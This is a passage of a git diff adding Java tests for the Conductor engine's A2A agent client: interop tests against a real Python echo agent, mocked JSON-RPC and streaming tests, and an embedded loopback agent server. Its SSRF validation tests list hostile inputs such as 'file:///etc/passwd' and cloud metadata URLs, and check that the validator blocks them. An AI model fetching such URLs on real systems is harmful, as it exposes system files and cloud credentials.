Self-skipping. Requires a Python interpreter with {@code a2a-sdk} + {@code uvicorn} + * importable. Point {@code A2A_PYTHON} at it (e.g. a uv venv), or have {@code python3}/{@code + * python} on PATH with the packages installed; otherwise the whole class is skipped: + * + * 

+ *   uv venv --python 3.12 /tmp/a2a-venv
+ *   uv pip install --python /tmp/a2a-venv "a2a-sdk>=0.2,<0.3" uvicorn
+ *   A2A_PYTHON=/tmp/a2a-venv/bin/python ./gradlew :conductor-ai:test --tests '*A2ASdkInteropTest'
+ *
+ */ +class A2ASdkInteropTest { + + private static String python; + private static AgentProcess taskAgent; + + @BeforeAll + static void startRealAgent() throws Exception { + python = findPythonWithA2aSdk(); + assumeTrue( + python != null, + "No Python with a2a-sdk + uvicorn found (set A2A_PYTHON); skipping real-agent interop"); + taskAgent = AgentProcess.launch(python, "task"); + } + + @AfterAll + static void stopRealAgent() { + if (taskAgent != null) { + taskAgent.close(); + } + } + + /** Loopback agent → bypass the SSRF guard with the allow-private-network constructor. */ + private static A2AService service() { + OkHttpClient client = + new OkHttpClient.Builder() + .connectTimeout(5, TimeUnit.SECONDS) + .readTimeout(60, TimeUnit.SECONDS) + .build(); + return new A2AService(client, true); + } + + @Test + void discoversRealAgentCard() { + AgentCard card = service().getAgentCard(taskAgent.url(), null); + assertEquals("Echo Agent", card.getName()); + assertNotNull(card.getCapabilities()); + assertTrue(card.getCapabilities().isStreaming(), "echo agent advertises streaming"); + assertEquals("echo", card.getSkills().get(0).getId()); + } + + @Test + void callAgentTask_drivesRealAgentToCompletion() { + TaskModel task = callAgentTask(taskAgent.url(), "hello world", false); + new AgentTask(service(), mock(Environment.class)).start(null, task, null); + + int guard = 0; + AgentTask client = new AgentTask(service(), mock(Environment.class)); + while (task.getStatus() == TaskModel.Status.IN_PROGRESS && guard++ < 60) { + client.execute(null, task, null); + } + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus(), task.getReasonForIncompletion()); + assertEquals("completed", task.getOutputData().get("state")); + assertTrue( + String.valueOf(task.getOutputData().get("text")).contains("echo-task: hello world"), + "agent echoed our text back: " + task.getOutputData().get("text")); + } + + @Test + void streamingCall_aggregatesRealSseToCompletion() { + TaskModel task = callAgentTask(taskAgent.url(), "stream me", true); + new AgentTask(service(), mock(Environment.class)).start(null, task, null); + + // Streaming aggregates to a terminal state in start(); no poll loop needed. + assertEquals(TaskModel.Status.COMPLETED, task.getStatus(), task.getReasonForIncompletion()); + assertTrue( + String.valueOf(task.getOutputData().get("text")).contains("echo-task: stream me"), + "streamed artifact text: " + task.getOutputData().get("text")); + } + + @Test + void messageModeAgent_returnsDirectMessage() throws Exception { + // A second real agent, this one configured to reply with a direct Message (not a Task). + try (AgentProcess messageAgent = AgentProcess.launch(python, "message")) { + TaskModel task = callAgentTask(messageAgent.url(), "ping", false); + new AgentTask(service(), mock(Environment.class)).start(null, task, null); + + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertTrue( + String.valueOf(task.getOutputData().get("text")).contains("echo: ping"), + "direct message reply: " + task.getOutputData().get("text")); + } + } + + // ---- helpers ----------------------------------------------------------------------------- + + private TaskModel callAgentTask(String agentUrl, String text, boolean streaming) { + TaskModel task = new TaskModel(); + task.setTaskId("interop-" + System.nanoTime()); + task.setWorkflowInstanceId("interop-wf"); + task.setReferenceTaskName("callEcho"); + Map input = new HashMap<>(); + input.put("agentUrl", agentUrl); + input.put("text", text); + input.put("pollIntervalSeconds", 1); + if (streaming) { + input.put("streaming", true); + } + task.setInputData(input); + return task; + } + + private static String findPythonWithA2aSdk() { + List candidates = new ArrayList<>(); + String env = System.getenv("A2A_PYTHON"); + if (env != null && !env.isBlank()) { + candidates.add(env); + } + candidates.add("python3"); + candidates.add("python"); + for (String candidate : candidates) { + try { + Process p = + new ProcessBuilder(candidate, "-c", "import a2a, uvicorn") + .redirectErrorStream(true) + .start(); + if (p.waitFor(30, TimeUnit.SECONDS) && p.exitValue() == 0) { + return candidate; + } + p.destroyForcibly(); + } catch (Exception ignored) { + // try the next candidate + } + } + return null; + } + + /** A running {@code echo_agent.py} subprocess on a free loopback port. */ + private static final class AgentProcess implements AutoCloseable { + private final Process process; + private final int port; + private final Path logFile; + + private AgentProcess(Process process, int port, Path logFile) { + this.process = process; + this.port = port; + this.logFile = logFile; + } + + String url() { + return "http://localhost:" + port; + } + + static AgentProcess launch(String python, String mode) throws Exception { + int port = freePort(); + Path agent = + Paths.get( + System.getProperty("user.dir"), "src/test/resources/a2a/echo_agent.py"); + assertTrue(Files.exists(agent), "echo_agent.py fixture must exist at " + agent); + Path log = Files.createTempFile("a2a-echo-" + mode + "-", ".log"); + + ProcessBuilder pb = new ProcessBuilder(python, agent.toString()); + pb.environment().put("A2A_AGENT_PORT", String.valueOf(port)); + pb.environment().put("AGENT_MODE", mode); + pb.redirectErrorStream(true); + pb.redirectOutput(log.toFile()); + Process process = pb.start(); + + AgentProcess running = new AgentProcess(process, port, log); + running.waitUntilReady(); + return running; + } + + private void waitUntilReady() throws Exception { + A2AService probe = service(); + String url = url(); + for (int i = 0; i < 60; i++) { + if (!process.isAlive()) { + throw new IllegalStateException( + "echo agent exited early (code " + + process.exitValue() + + "):\n" + + readLog()); + } + try { + if (probe.getAgentCard(url, null) != null) { + return; // card served → ready + } + } catch (Exception notReadyYet) { + // server still starting + } + Thread.sleep(500); + } + close(); + throw new IllegalStateException("echo agent did not become ready:\n" + readLog()); + } + + private String readLog() { + try { + return Files.readString(logFile); + } catch (IOException e) { + return "(no log: " + e.getMessage() + ")"; + } + } + + @Override + public void close() { + process.destroy(); + try { + if (!process.waitFor(5, TimeUnit.SECONDS)) { + process.destroyForcibly(); + } + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + process.destroyForcibly(); + } + } + } + + private static int freePort() throws IOException { + try (ServerSocket socket = new ServerSocket(0)) { + return socket.getLocalPort(); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AServiceTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AServiceTest.java new file mode 100644 index 0000000..10a9779 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/A2AServiceTest.java @@ -0,0 +1,310 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.List; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.a2a.A2AService.SendResult; +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.AgentCard; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; + +import okhttp3.OkHttpClient; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.doNothing; +import static org.mockito.Mockito.spy; + +class A2AServiceTest { + + private MockWebServer server; + private A2AService service; + + @BeforeEach + void setUp() throws Exception { + server = new MockWebServer(); + server.start(); + OkHttpClient client = + new OkHttpClient.Builder() + .connectTimeout(2, TimeUnit.SECONDS) + .readTimeout(2, TimeUnit.SECONDS) + .writeTimeout(2, TimeUnit.SECONDS) + .build(); + // MockWebServer binds to loopback (127.0.0.1); bypass SSRF for unit tests. + service = spy(new A2AService(client)); + doNothing().when(service).validateAgentUrl(anyString()); + } + + @AfterEach + void tearDown() throws Exception { + server.shutdown(); + } + + private String endpoint() { + return server.url("/").toString(); + } + + private MockResponse json(String body) { + return new MockResponse() + .setResponseCode(200) + .setHeader("Content-Type", "application/json") + .setBody(body); + } + + private A2AMessage userText(String text) { + A2AMessage message = new A2AMessage(); + Part part = new Part(); + part.setKind("text"); + part.setText(text); + message.setParts(List.of(part)); + message.setRole("user"); + message.setMessageId("m1"); + message.setKind("message"); + return message; + } + + @Test + void getAgentCard_parsesCardFromWellKnownPath() throws Exception { + server.enqueue( + json( + """ + { + "name": "Currency Agent", + "description": "Converts currency", + "url": "http://agent", + "version": "1.0.0", + "capabilities": { "streaming": true }, + "skills": [ { "id": "convert", "name": "Convert" } ] + } + """)); + + AgentCard card = service.getAgentCard(endpoint(), null); + + assertEquals("Currency Agent", card.getName()); + assertTrue(card.getCapabilities().isStreaming()); + assertEquals(1, card.getSkills().size()); + assertEquals("convert", card.getSkills().get(0).getId()); + + RecordedRequest request = server.takeRequest(); + assertEquals("/.well-known/agent-card.json", request.getPath()); + } + + @Test + void getAgentCard_fallsBackToLegacyAgentJson() throws Exception { + server.enqueue(new MockResponse().setResponseCode(404)); + server.enqueue(json("{ \"name\": \"Legacy Agent\" }")); + + AgentCard card = service.getAgentCard(endpoint(), null); + + assertEquals("Legacy Agent", card.getName()); + assertEquals("/.well-known/agent-card.json", server.takeRequest().getPath()); + assertEquals("/.well-known/agent.json", server.takeRequest().getPath()); + } + + @Test + void sendMessage_returnsTask() throws Exception { + server.enqueue( + json( + """ + { + "jsonrpc": "2.0", + "id": 1, + "result": { + "kind": "task", + "id": "t1", + "contextId": "c1", + "status": { "state": "completed" }, + "artifacts": [ { "artifactId": "a1", "parts": [ { "kind": "text", "text": "42" } ] } ] + } + } + """)); + + SendResult result = service.sendMessage(endpoint(), userText("convert"), null, null); + + assertTrue(result.isTask()); + assertEquals(TaskState.COMPLETED, result.getTask().getStatus().getState()); + + RecordedRequest request = server.takeRequest(); + String body = request.getBody().readUtf8(); + assertTrue(body.contains("\"method\":\"message/send\""), body); + } + + @Test + void sendMessage_returnsDirectMessage() throws Exception { + server.enqueue( + json( + """ + { + "jsonrpc": "2.0", + "id": 1, + "result": { + "kind": "message", + "role": "agent", + "messageId": "r1", + "parts": [ { "kind": "text", "text": "hello" } ] + } + } + """)); + + SendResult result = service.sendMessage(endpoint(), userText("hi"), null, null); + + assertFalse(result.isTask()); + assertEquals("hello", result.getMessage().getParts().get(0).getText()); + } + + @Test + void getTask_parsesState() throws Exception { + server.enqueue( + json( + """ + { "jsonrpc": "2.0", "id": 1, "result": { "kind": "task", "id": "t1", "status": { "state": "working" } } } + """)); + + A2ATask task = service.getTask(endpoint(), "t1", 5, null); + + assertEquals(TaskState.WORKING, task.getStatus().getState()); + } + + @Test + void cancelTask_parsesCanceledState() throws Exception { + server.enqueue( + json( + """ + { "jsonrpc": "2.0", "id": 1, "result": { "kind": "task", "id": "t1", "status": { "state": "canceled" } } } + """)); + + A2ATask task = service.cancelTask(endpoint(), "t1", null); + + assertEquals(TaskState.CANCELED, task.getStatus().getState()); + } + + @Test + void jsonRpcError_withTerminalCode_isNonRetryable() { + server.enqueue( + json( + "{ \"jsonrpc\": \"2.0\", \"id\": 1, \"error\": { \"code\": -32601, \"message\": \"method not found\" } }")); + + assertThrows( + NonRetryableException.class, () -> service.getTask(endpoint(), "t1", null, null)); + } + + @Test + void jsonRpcError_withTransientCode_isRetryable() { + server.enqueue( + json( + "{ \"jsonrpc\": \"2.0\", \"id\": 1, \"error\": { \"code\": -32603, \"message\": \"internal\" } }")); + + assertThrows(A2AException.class, () -> service.getTask(endpoint(), "t1", null, null)); + } + + @Test + void http500_isRetryable() { + server.enqueue(new MockResponse().setResponseCode(500).setBody("boom")); + + A2AException ex = + assertThrows( + A2AException.class, + () -> service.sendMessage(endpoint(), userText("hi"), null, null)); + assertNotNull(ex.getMessage()); + } + + @Test + void http400_isNonRetryable() { + server.enqueue(new MockResponse().setResponseCode(400).setBody("bad")); + + assertThrows( + NonRetryableException.class, + () -> service.sendMessage(endpoint(), userText("hi"), null, null)); + } + + // SSRF validation tests — use the real (non-spied) service so validation runs. + + @Test + void ssrfValidation_rejectsLoopback() { + A2AService real = new A2AService(new okhttp3.OkHttpClient()); + assertThrows( + NonRetryableException.class, + () -> real.validateAgentUrl("http://127.0.0.1:8080/agent")); + } + + @Test + void ssrfValidation_rejectsPrivateIp() { + A2AService real = new A2AService(new okhttp3.OkHttpClient()); + // 10.0.0.1 is RFC-1918 site-local + assertThrows( + NonRetryableException.class, () -> real.validateAgentUrl("http://10.0.0.1/agent")); + } + + @Test + void ssrfValidation_rejectsNonHttp() { + A2AService real = new A2AService(new okhttp3.OkHttpClient()); + assertThrows( + NonRetryableException.class, () -> real.validateAgentUrl("file:///etc/passwd")); + } + + @Test + void ssrfValidation_blocksIpv6UniqueLocalAndMetadata() { + A2AService real = new A2AService(new okhttp3.OkHttpClient()); + // IPv6 ULA (fc00::/7) — Java's isSiteLocalAddress() does NOT cover these. + assertThrows( + NonRetryableException.class, + () -> real.validateAgentUrl("http://[fd12:3456:789a::1]/agent")); + // AWS IPv6 metadata endpoint stays blocked even when private networks are allowed. + A2AService permissive = new A2AService(new okhttp3.OkHttpClient(), true); + assertThrows( + NonRetryableException.class, + () -> permissive.validateAgentUrl("http://[fd00:ec2::254]/latest/meta-data/")); + } + + @Test + void ssrfValidation_allowPrivateNetwork_permitsLoopbackButNotMetadata() { + A2AService permissive = new A2AService(new okhttp3.OkHttpClient(), true); + // Loopback/private now allowed (e.g. an agent on a trusted private network or localhost). + permissive.validateAgentUrl("http://127.0.0.1:8080/agent"); + permissive.validateAgentUrl("http://10.0.0.1/agent"); + // Cloud metadata stays blocked even with the flag on. + assertThrows( + NonRetryableException.class, + () -> permissive.validateAgentUrl("http://169.254.169.254/latest/meta-data/")); + } + + @Test + void ssrfValidation_acceptsPublicUrl() { + A2AService real = new A2AService(new okhttp3.OkHttpClient()); + // Should not throw — 93.184.216.34 is example.com (IANA), a public IP. + // If DNS is unavailable in CI this will throw A2AException (not NonRetryableException). + try { + real.validateAgentUrl("https://example.com/agent"); + } catch (NonRetryableException e) { + throw new AssertionError("Public URL should not be blocked by SSRF check", e); + } catch (Exception ignored) { + // DNS not reachable in this environment — acceptable. + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/AgentTaskTest.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/AgentTaskTest.java new file mode 100644 index 0000000..c12c4d7 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/AgentTaskTest.java @@ -0,0 +1,242 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.conductoross.conductor.ai.a2a.A2AService.SendResult; +import org.conductoross.conductor.ai.a2a.model.A2AMessage; +import org.conductoross.conductor.ai.a2a.model.A2ATask; +import org.conductoross.conductor.ai.a2a.model.Artifact; +import org.conductoross.conductor.ai.a2a.model.Part; +import org.conductoross.conductor.ai.a2a.model.TaskState; +import org.conductoross.conductor.ai.a2a.model.TaskStatus; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +class AgentTaskTest { + + private A2AService service; + private AgentTask task; + + @BeforeEach + void setUp() { + service = mock(A2AService.class); + // No callback URL configured -> push disabled, polling used. + Environment environment = mock(Environment.class); + task = new AgentTask(service, environment); + } + + private TaskModel taskModel(Map input) { + TaskModel model = new TaskModel(); + model.setInputData(input); + model.setTaskId("conductor-task-1"); + return model; + } + + private A2ATask agentTask(String state, String artifactText) { + A2ATask agentTask = new A2ATask(); + agentTask.setId("agent-task-1"); + agentTask.setContextId("ctx-1"); + TaskStatus status = new TaskStatus(); + status.setState(state); + agentTask.setStatus(status); + if (artifactText != null) { + Artifact artifact = new Artifact(); + artifact.setArtifactId("a1"); + artifact.setParts(List.of(textPart(artifactText))); + agentTask.setArtifacts(List.of(artifact)); + } + return agentTask; + } + + private Part textPart(String text) { + Part part = new Part(); + part.setKind("text"); + part.setText(text); + return part; + } + + @Test + void start_directMessageReply_completes() { + A2AMessage reply = new A2AMessage(); + reply.setContextId("ctx-1"); + reply.setParts(List.of(textPart("hello"))); + when(service.sendMessage(anyString(), any(), any(), any())) + .thenReturn(SendResult.ofMessage(reply)); + + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "text", "hi")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals("message", model.getOutputData().get("state")); + assertEquals("hello", model.getOutputData().get("text")); + } + + @Test + void start_terminalTask_completesWithArtifactText() { + when(service.sendMessage(anyString(), any(), any(), any())) + .thenReturn(SendResult.ofTask(agentTask(TaskState.COMPLETED, "42"))); + + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "text", "convert")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals(TaskState.COMPLETED, model.getOutputData().get("state")); + assertEquals("42", model.getOutputData().get("text")); + assertEquals("agent-task-1", model.getOutputData().get("taskId")); + } + + @Test + void start_workingTask_movesToInProgress() { + when(service.sendMessage(anyString(), any(), any(), any())) + .thenReturn(SendResult.ofTask(agentTask(TaskState.WORKING, null))); + + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "text", "convert")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.IN_PROGRESS, model.getStatus()); + assertEquals("agent-task-1", model.getOutputData().get("taskId")); + assertEquals("ctx-1", model.getOutputData().get("contextId")); + } + + @Test + void execute_pollsUntilComplete() { + TaskModel model = taskModel(Map.of("agentUrl", "http://agent")); + model.addOutput("taskId", "agent-task-1"); + when(service.getTask(anyString(), eq("agent-task-1"), any(), any())) + .thenReturn(agentTask(TaskState.COMPLETED, "done")); + + boolean changed = task.execute(null, model, null); + + assertTrue(changed); + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals("done", model.getOutputData().get("text")); + } + + @Test + void execute_stillWorking_keepsPolling() { + TaskModel model = taskModel(Map.of("agentUrl", "http://agent")); + model.addOutput("taskId", "agent-task-1"); + when(service.getTask(anyString(), eq("agent-task-1"), any(), any())) + .thenReturn(agentTask(TaskState.WORKING, null)); + + boolean changed = task.execute(null, model, null); + + assertFalse(changed); + assertEquals(TaskModel.Status.IN_PROGRESS, model.getStatus()); + } + + @Test + void start_inputRequired_completesAndSurfacesQuestion() { + A2ATask agentTask = agentTask(TaskState.INPUT_REQUIRED, null); + A2AMessage question = new A2AMessage(); + question.setParts(List.of(textPart("Which currency?"))); + agentTask.getStatus().setMessage(question); + when(service.sendMessage(anyString(), any(), any(), any())) + .thenReturn(SendResult.ofTask(agentTask)); + + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "text", "convert")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals(TaskState.INPUT_REQUIRED, model.getOutputData().get("state")); + assertEquals("Which currency?", model.getOutputData().get("text")); + assertEquals("agent-task-1", model.getOutputData().get("taskId")); + assertEquals("ctx-1", model.getOutputData().get("contextId")); + } + + @Test + void start_missingAgentUrl_failsTerminally() { + TaskModel model = taskModel(Map.of("text", "hi")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, model.getStatus()); + } + + @Test + void start_nonRetryableError_failsTerminally() { + when(service.sendMessage(anyString(), any(), any(), any())) + .thenThrow(new NonRetryableException("method not found")); + + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "text", "hi")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, model.getStatus()); + } + + @Test + void start_retryableError_fails() { + when(service.sendMessage(anyString(), any(), any(), any())) + .thenThrow(new A2AException("transient")); + + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "text", "hi")); + task.start(null, model, null); + + assertEquals(TaskModel.Status.FAILED, model.getStatus()); + } + + @Test + void getEvaluationOffset_usesConfiguredPollInterval() { + TaskModel model = taskModel(Map.of("agentUrl", "http://agent", "pollIntervalSeconds", 7)); + assertEquals(Optional.of(7L), task.getEvaluationOffset(model, 30)); + } + + @Test + void cancel_propagatesToRemoteAndSetsCanceled() { + TaskModel model = taskModel(Map.of("agentUrl", "http://agent")); + model.addOutput("taskId", "agent-task-1"); + when(service.cancelTask(anyString(), eq("agent-task-1"), any())) + .thenReturn(agentTask(TaskState.CANCELED, null)); + + task.cancel(null, model, null); + + verify(service).cancelTask(eq("http://agent"), eq("agent-task-1"), any()); + assertEquals(TaskModel.Status.CANCELED, model.getStatus()); + } + + @Test + void start_streaming_usesStreamAndCompletes() { + when(service.streamMessage(anyString(), any(), any(), any())) + .thenReturn(SendResult.ofTask(agentTask(TaskState.COMPLETED, "streamed"))); + + TaskModel model = + taskModel(Map.of("agentUrl", "http://agent", "text", "convert", "streaming", true)); + task.start(null, model, null); + + assertEquals(TaskModel.Status.COMPLETED, model.getStatus()); + assertEquals("streamed", model.getOutputData().get("text")); + verify(service).streamMessage(anyString(), any(), any(), any()); + } + + @Test + void isAsync_isTrue() { + assertTrue(task.isAsync()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/a2a/EmbeddedA2AAgent.java b/ai/src/test/java/org/conductoross/conductor/ai/a2a/EmbeddedA2AAgent.java new file mode 100644 index 0000000..763bd48 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/a2a/EmbeddedA2AAgent.java @@ -0,0 +1,304 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.a2a; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.Executors; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicReference; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpServer; + +/** + * A real, embedded HTTP server that speaks the A2A protocol (JSON-RPC 2.0 + SSE + agent-card + * discovery) over loopback, for hermetic end-to-end tests of the A2A client and {@code AGENT}. + * + *

Not a mock: it parses real JSON-RPC requests and emits real responses. Behavior is configured + * per test via {@link SendMode} and {@link #completeAfterPolls(int)}. + */ +final class EmbeddedA2AAgent implements AutoCloseable { + + enum SendMode { + TASK_COMPLETED, + TASK_WORKING, + MESSAGE, + INPUT_REQUIRED, + STREAM + } + + static final String AGENT_TASK_ID = "agent-task-xyz"; + static final String CONTEXT_ID = "ctx-xyz"; + + private final HttpServer server; + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private final AtomicInteger getCalls = new AtomicInteger(); + private final AtomicInteger cancelCalls = new AtomicInteger(); + private final AtomicReference lastSendParams = new AtomicReference<>(); + + private volatile SendMode sendMode = SendMode.TASK_COMPLETED; + private volatile int completeAfterPolls = 0; + private volatile String text = "42"; + private volatile String question = "Which currency?"; + private volatile boolean failGetTask = false; + + EmbeddedA2AAgent() throws IOException { + server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", this::handle); + server.setExecutor(Executors.newCachedThreadPool()); + server.start(); + } + + String url() { + return "http://127.0.0.1:" + server.getAddress().getPort(); + } + + EmbeddedA2AAgent sendMode(SendMode mode) { + this.sendMode = mode; + return this; + } + + EmbeddedA2AAgent completeAfterPolls(int polls) { + this.completeAfterPolls = polls; + return this; + } + + EmbeddedA2AAgent text(String value) { + this.text = value; + return this; + } + + /** Simulates an agent that goes unreachable while a task is being polled. */ + EmbeddedA2AAgent failGetTask(boolean fail) { + this.failGetTask = fail; + return this; + } + + /** The {@code messageId} sent on the most recent message/send (for idempotency assertions). */ + String lastMessageId() { + JsonNode params = lastSendParams.get(); + return params == null ? null : params.path("message").path("messageId").asText(null); + } + + int getCalls() { + return getCalls.get(); + } + + int cancelCalls() { + return cancelCalls.get(); + } + + JsonNode lastSendParams() { + return lastSendParams.get(); + } + + @Override + public void close() { + server.stop(0); + } + + private void handle(HttpExchange exchange) throws IOException { + try { + String method = exchange.getRequestMethod(); + String path = exchange.getRequestURI().getPath(); + if ("GET".equals(method) && path.endsWith("/.well-known/agent-card.json")) { + writeJson(exchange, agentCardJson()); + return; + } + if ("GET".equals(method)) { + exchange.sendResponseHeaders(404, -1); + exchange.close(); + return; + } + byte[] bodyBytes = exchange.getRequestBody().readAllBytes(); + JsonNode request = objectMapper.readTree(bodyBytes); + String rpcMethod = request.path("method").asText(""); + JsonNode params = request.get("params"); + switch (rpcMethod) { + case "message/send": + lastSendParams.set(params); + writeJson(exchange, onSend()); + break; + case "message/stream": + lastSendParams.set(params); + writeStream(exchange); + break; + case "tasks/get": + if (failGetTask) { + // 500 -> A2AService raises a retryable A2AException (agent unreachable). + byte[] err = "agent down".getBytes(StandardCharsets.UTF_8); + exchange.sendResponseHeaders(500, err.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(err); + } + break; + } + writeJson(exchange, onGet()); + break; + case "tasks/cancel": + cancelCalls.incrementAndGet(); + writeJson(exchange, resultEnvelope(taskJson("canceled", null, null))); + break; + default: + writeJson( + exchange, + "{\"jsonrpc\":\"2.0\",\"id\":1,\"error\":{\"code\":-32601,\"message\":\"method not found\"}}"); + } + } catch (Exception e) { + byte[] err = + "{\"jsonrpc\":\"2.0\",\"id\":1,\"error\":{\"code\":-32603,\"message\":\"internal\"}}" + .getBytes(StandardCharsets.UTF_8); + exchange.getResponseHeaders().set("Content-Type", "application/json"); + exchange.sendResponseHeaders(200, err.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(err); + } + } + } + + private String onSend() { + switch (sendMode) { + case MESSAGE: + return resultEnvelope(messageJson(text)); + case INPUT_REQUIRED: + return resultEnvelope(taskJson("input-required", null, question)); + case TASK_WORKING: + return resultEnvelope(taskJson("working", null, null)); + case TASK_COMPLETED: + default: + return resultEnvelope(taskJson("completed", text, null)); + } + } + + private String onGet() { + int call = getCalls.incrementAndGet(); + boolean done = call > completeAfterPolls; + String state = done ? "completed" : "working"; + return resultEnvelope(taskJson(state, done ? text : null, null)); + } + + private void writeStream(HttpExchange exchange) throws IOException { + exchange.getResponseHeaders().set("Content-Type", "text/event-stream"); + exchange.sendResponseHeaders(200, 0); + try (OutputStream os = exchange.getResponseBody()) { + writeEvent(os, resultEnvelope(taskJson("working", null, null))); + writeEvent( + os, + resultEnvelope( + artifactUpdateJson("art1", "Hello", /* append= */ false, false))); + writeEvent( + os, + resultEnvelope(artifactUpdateJson("art1", "world", /* append= */ true, true))); + writeEvent(os, resultEnvelope(statusUpdateJson("completed", true))); + } + } + + private void writeEvent(OutputStream os, String json) throws IOException { + os.write(("data: " + json + "\n\n").getBytes(StandardCharsets.UTF_8)); + os.flush(); + } + + private void writeJson(HttpExchange exchange, String json) throws IOException { + byte[] bytes = json.getBytes(StandardCharsets.UTF_8); + exchange.getResponseHeaders().set("Content-Type", "application/json"); + exchange.sendResponseHeaders(200, bytes.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(bytes); + } + } + + private String resultEnvelope(String resultJson) { + return "{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":" + resultJson + "}"; + } + + private String taskJson(String state, String artifactText, String questionText) { + StringBuilder status = new StringBuilder("{\"state\":\"" + state + "\""); + if (questionText != null) { + status.append( + ",\"message\":{\"role\":\"agent\",\"kind\":\"message\",\"parts\":[{\"kind\":\"text\",\"text\":\"" + + questionText + + "\"}]}"); + } + status.append("}"); + StringBuilder task = + new StringBuilder( + "{\"kind\":\"task\",\"id\":\"" + + AGENT_TASK_ID + + "\",\"contextId\":\"" + + CONTEXT_ID + + "\",\"status\":" + + status); + if (artifactText != null) { + task.append( + ",\"artifacts\":[{\"artifactId\":\"a1\",\"parts\":[{\"kind\":\"text\",\"text\":\"" + + artifactText + + "\"}]}]"); + } + task.append("}"); + return task.toString(); + } + + private String messageJson(String value) { + return 